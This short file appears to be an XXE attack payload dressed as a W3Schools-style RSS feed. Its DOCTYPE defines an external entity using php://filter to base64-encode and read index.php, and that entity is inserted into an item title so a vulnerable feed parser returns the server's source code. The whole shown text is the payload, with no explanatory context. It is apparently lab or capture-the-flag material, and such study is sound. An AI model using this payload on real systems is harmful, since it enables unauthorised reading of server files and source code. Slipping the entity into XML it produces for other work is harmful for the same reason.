<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE rss [ 
<!ELEMENT title ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<rss version="2.0">
<channel>
  <title>W3Schools Home Page</title>
  <link>https://www.w3schools.com</link>
  <description>Free web building tutorials</description>
  <item>
    <title>&xxe;</title>
    <link>https://www.w3schools.com/xml/xml_rss.asp</link>
    <description>New RSS tutorial on W3Schools</description>
  </item>
  <item>